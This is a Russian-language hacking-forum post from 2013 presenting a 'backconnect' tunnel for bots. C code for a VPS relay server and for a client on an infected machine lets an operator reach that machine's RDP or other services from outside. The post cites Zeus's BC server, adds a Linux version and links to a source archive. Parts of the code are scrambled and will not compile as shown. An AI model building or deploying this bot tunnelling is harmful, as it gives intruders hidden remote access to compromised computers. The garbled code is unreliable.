Статьи Управляем туннелями как хотим

Discussion in 'Статьи' started by e17, 15 Jun 2013.

  1. e17

    e17 Member

    Joined:
    8 Feb 2013
    Messages:
    47
    Likes Received:
    57
    Reputations:
    81
    Управляем туннелями как хотим
    Хотите подключиться к rdp, ftp, telnet, socks или другим сервисам тачки у которой нет внешнего IP. Да нет ничего проще. Для начала рассмотрим как работает бэкконнект.

    VPS
    User PC
    connect to connect to service rdp bind 8888 8889 VPS service rdp

    client connect
    to 8889 bind 8889

    У вас должна быть машина с внешним ip (например VPS). На ней вы размещаете серверную часть бэкконектора (BC). Она представляет из себя два сервера, которые слушают 8889 это порт куда будет подключаться клиент RDP и 8888 будет подключаться клиент BC. Серверы умеют обмениваться данными друг с другом. Со стороны юзера (User PC) находится клиентская часть BC. Она состоит из двух частей. Первая постоянно коннектится к VPS порт 8889, а вторая коннектится к сервису, в нашем случае это RDP. Эти две части умеют обмениваться данными друг с другом. В результате таких действий, клиентская часть подключается к VPS и устанавливает канал связи между VPS и внутренним сервисом RDP. Клиент который хочет подключится к RDP подключается к VPS 8889 и образуется второй канал связи. Цепочка получается замкнутой и данные идут свободно от клиента к сервису.
    Картинка получилась достаточно громоздкой, но программно выглядит все достаточно просто.
    Серверная часть BC
    Сервер BC состоит из двух классических серверов. Первый сервер порт 8889, это сервер куда коннектится клиент RDP, при коннекте создается тред с новым сокетом (каналом связи между клиентом и этим сервером)

    Code:
    DWORD _stdcall thread_server(LPVOID param){
    SERVER_ARG *arg=(SERVER_ARG*)param;
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in sc;
    sc.sin_family = AF_INET; sc.sin_addr.s_addr = inet_addr(arg->host); sc.sin_port = htons(arg->port);
    bind(ls,(SOCKADDR *) & sc, sizeof (sc)); listen(ls, 1);
    while(1){
    SOCKET s = accept(ls, NULL, NULL); if (s != INVALID_SOCKET) {
    CreateThread(0,0,thread_socket,&s,0,0); }
    }
    closesocket(ls); WSACleanup();
    return 0; }
     
    Тут все просто и нет ничего нового. Второй сервер порт 8889, к нему подключается клиентская часть BC. При подключении создается новый сокет, который сохраняется в списк сокетов ожидающих подключания. Тут тоже все просто:
    Code:
    DWORD _stdcall thread_client(LPVOID param){ SERVER_ARG *arg=(SERVER_ARG*)param; WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET s;
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in sc;
    sc.sin_family = AF_INET;
    sc.sin_addr.s_addr = inet_addr(arg->host);
    sc.sin_port = htons(arg->port);
    bind(s,(SOCKADDR *) &sc, sizeof (sc)); listen(s, 1);
    SOCKET sa;
    while(1){
    sa = accept(s, NULL, NULL);
    if (sa != INVALID_SOCKET) {
    if (COUNT_SOCK<MAX_SOCKET){
        
    } }
    SOCK_INNER[COUNT_SOCK]=sa;
    COUNT_SOCK++; }else{
    closesocket(sa); }
    closesocket(s); WSACleanup(); return 0;
    }
    
    Интересной частью является связь между двумя серверами. Так сказать туннель между сокетами. Так как мы не знаем заранее количество данных которое приходит на сокет, и последовательность с какого сокета приходят данные. А читать данные нужно одновременно с двух, поэтому нужно перевести сокеты в неблокируемый режим. И проверять данные select одновременно с двух сокетов. Такой код можно реализовать так.
    Code:
    int send_all(SOCKET s,uint8 *data,int size){ int r=0;
    int i=0; do{
    }while(r>0 && size>0); if (!size) r=i;
    return r;
    }
    int tunnel(SOCKET s1,SOCKET s2){ char data[1024];
         
    fd_set read_s;
    r=send(s,(char*)&data[i],size,0); if (r){
    i+=r;
    size-=r; }
    
        
    timeval to;
    to.tv_sec = 60*60;
    to.tv_usec = 0;
    FD_ZERO (&read_s);
    FD_SET (s1, &read_s);
    FD_SET (s2, &read_s);
    int r = select(0, &read_s, NULL, NULL, &to); if (!r){
    return r; }
    r=recv(s1,data,sizeof(data),0); if (r>0){
    //crypt(data,r);
    r=send_all(s2,(uint8*)data,r); }
    return r; }
    ..........
    BOOL l = TRUE;
    ioctlsocket (s, FIONBIO, (unsigned long* ) &l); ioctlsocket (s_in, FIONBIO, (unsigned long* ) &l); int a1,a2;
    do{
    a1=tunnel(s,s_in);
    a2=tunnel(s_in,s); }while(a1 && a2);
    Код простой и думаю не должно возникать вопросов.
    Клиентская часть BC
    Представлен из двух клиентских частей, первая коннектится к VPS 8888 вторая к RDP 3389. Обмен данными между клиентскими частями передается так же как описано выше.
    void bc_start(char *ip_service,int p_service,char *ip_server,int p_server){ while(1){
    SOCKET s2=tcp_connect(ip_server,p_server); if (s2){
    uint32 sig=0;
    int len=recv(s2,(char*)&sig,4,0); if ((len==4)&& (sig==OP_TUN)){
    SOCKET s1=tcp_connect(ip_service,p_service); if (s1){
    THREAD_ARG *arg= (THREAD_ARG*)m_malloc(sizeof(THREAD_ARG));
    arg->s1=s1;
    arg->s2=s2; CreateThread(0,0,thread_tunnel,arg,0,0);
    }else closesocket(s2); }else closesocket(s2);
    }
    Sleep(1000); }
    }
    
    Тут тоже все просто. Возникает небольшая проблема в синхронизации управления тунелями. Но и еѐ можно просто решить. В моем случае отправляю команду на создание туннеля OP_TUN.

    Кроме этого передаваемые данные в туннелях можно ещѐ и шифровать. Нужно раскоментировать строчку //crypt(data,r);
    Не понимаю почему все какие я видел решения BC серверов для ботов рассчитаны на виндовые тачки. Взять же тот же BC сервер зевса - виндовый. Хотя управляющие админки крутятся как правило на Linux VPS. Программирование под Linux практически ничем не отличается. Поэтому я написал вариант сервера BC и для linux.
    Исходные коды примеров рассмотренных в статье прилагаются. И состоят: bc_client - BC клиент (Windows)
    bc_server - BC сервер (Windows)
    bc_server_linux - BC сервер (Linux)
    Линк на скачивание: priv8.ru/archive/src_bc.rar
     
    CyberTro1n likes this.